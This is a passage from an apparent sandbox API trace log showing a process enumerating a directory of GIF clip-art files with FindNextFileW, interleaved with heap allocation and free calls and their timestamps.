ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d4c8 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23598 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d4e8 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa236a0 [0071.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2a80) returned 0xa781f8 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa757b0) returned 1 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d508 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa237a8 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d528 [0071.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa238b0 [0071.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.754] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d548 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa239b8 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d568 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23ac0 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d588 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23bc8 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d5a8 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23cd0 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d5c8 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23dd8 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d5e8 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23ee0 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d608 [0071.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23fe8 [0071.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.757] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d628 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa240f0 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d648 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa241f8 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d668 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24300 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d688 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24408 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d6a8 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24510 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d6c8 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24618 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d6e8 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24720 [0071.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2ac0) returned 0xa7ac80 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa781f8) returned 1 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d708 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24828 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d728 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24930 [0071.761] RtlFreeHeap 